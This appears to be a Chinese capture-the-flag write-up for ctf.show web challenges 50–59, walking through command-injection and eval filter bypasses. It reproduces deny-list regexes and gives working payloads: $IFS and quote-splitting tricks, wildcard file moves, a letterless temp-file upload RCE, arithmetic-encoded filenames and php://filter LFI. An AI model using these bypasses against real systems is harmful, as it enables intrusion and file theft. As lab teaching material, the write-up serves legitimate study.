web50-51
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
空格,%09,%26都没有了,采用带行号读的命令
?c=nl<fla''g.php||ls #编码前
?c=nl<fla''g.php%7C%7Cls #编码后
显示1,查看源代码获得flag
web52
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
限制通道符,把$放出来了,通过复制或者重命名的方式
$IFS,用于内部字段分隔符
?c=mv${IFS}fla?.php${IFS}a.txt%7C%7Cls
?c=ls%7C%7Cls
查看a.txt,发现是假的
查看根目录发现真flag
?c=ls${IFS}/%7C%7Cls
将flag移入当前文件夹下,查看,获得flag
?c=cp${IFS}/fla?${IFS}/var/www/html/b.txt%7C%7Cls
web53
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
system返回值:成功则返回命令输出的最后一行, 失败则返回 false
?c=ta''c${IFS}fla?.php
web54
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
单引号绕过不可用了
用?c=mv${IFS}fla?.php${IFS}a.txt即可
访问执行a.txt
web55-56
限制了字母,考虑无字母RCE
制作表单
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://e47e7ada-c3eb-4d83-ac9c-400de9634fff.challenge.ctf.show:8080/" method="post" enctype="multipart/form-data">
<!--链接是当前打开的题目链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
开启抓包,上传一个文件,
移到repeater
更改目录(由于上传后文件会保存到临时文件夹,文件名不固定,用通配符匹配),增加shell语句
?c=.%20/???/????????
#!/bin/sh
cat flag.php
提交(可能没反应,多提交几次)
web56访问flag.php无效
使用
#!/bin/sh
cat /var/www/html/flag.php
web57
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
过滤了字母、数字、分号、2个通配符
没过滤$,利用括号的数学运算
题目要求构造出36,-37取反为36,即为
$((~$((-1+-1+-1+....))))
最终构造
$((~$(($((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))+$((~$(())))))))

get传参执行即可获取flag
web58
变成禁用函数的题目,不清楚禁用了哪些函数,一个一个尝试
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
可以POST
c=echo file_get_contents("flag.php");
或者
c=show_source('flag.php');
web59
show_sourse没有被禁用
c=show_source('flag.php');
或者POSTinclude函数
GET(?1=后面的由LFI->PHP wrapper Base64传入)
http://f9efd4da-93c5-4bba-8d9c-07d58679e553.challenge.ctf.show:8080/?1=php://filter/convert.base64-encode/resource=flag.php
POST
c=include($_GET[1]);
解码得到flag
版权声明:本文为weixin_47726676原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。